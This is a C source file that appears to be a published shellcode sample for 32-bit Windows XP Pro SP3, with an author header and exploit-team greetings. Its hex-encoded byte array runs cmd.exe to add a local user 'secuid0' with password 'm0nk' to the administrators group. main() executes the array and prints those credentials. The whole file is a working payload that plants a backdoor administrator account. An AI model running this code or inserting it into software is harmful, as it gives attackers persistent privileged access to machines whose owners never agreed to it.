/* Title: win32/xp pro sp3 (EN) 32-bit - add new local administrator 113 bytes Author: Anastasios Monachos (secuid0) - anastasiosm[at]gmail[dot]com Method: Hardcoded opcodes (kernel32.winexec@7c8623ad, kernel32.exitprocess@7c81cafa) Tested on: WinXP Pro SP3 (EN) 32bit - Build 2600.080413-2111 Greetz: offsec and inj3ct0r teams */ #include <stdio.h> #include <string.h> #include <stdlib.h> char code[] = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23" "\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca" "\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63" "\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20" "\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x73" "\x65\x63\x75\x69\x64\x30\x20\x6d\x30\x6e" "\x6b\x20\x2f\x61\x64\x64\x20\x26\x26\x20" "\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67" "\x72\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e" "\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20" "\x73\x65\x63\x75\x69\x64\x30\x20\x2f\x61" "\x64\x64\x00"; int main(int argc, char **argv) { ((void (*)())code)(); printf("New local admin \tUsername: secuid0\n\t\t\tPassword: m0nk"); return 0; }